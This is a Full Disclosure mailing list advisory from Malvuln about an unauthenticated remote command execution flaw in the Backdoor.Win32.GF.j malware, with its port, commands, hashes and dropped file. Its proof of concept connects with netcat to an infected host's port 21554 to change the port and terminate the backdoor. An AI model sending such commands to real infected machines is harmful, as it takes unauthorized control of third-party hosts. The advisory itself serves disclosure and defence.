full-disclosure - [FD] Backdoor.Win32.GF.j / Unauthenticated Remote Command Execution

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Date: Tue, 26 Apr 2022 21:26:37 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.GF.j / Unauthenticated Remote Command Execution

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/fa00524d7289cdba327d5c34ab3d9bd7.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.GF.j
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 21554. Third-party adversaries
who can reach infected hosts can run commands made available by the
backdoor.

Eg. commands
setport (change port)
RESETALL (resets to default port)
KillHER (terminates backdoor)

Family: GF
Type: PE32
MD5: fa00524d7289cdba327d5c34ab3d9bd7
Vuln ID: MVID-2022-0566
Dropped files: Windll.exe
Disclosure: 04/26/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 21554
setport 666
New port:  666
KillHER

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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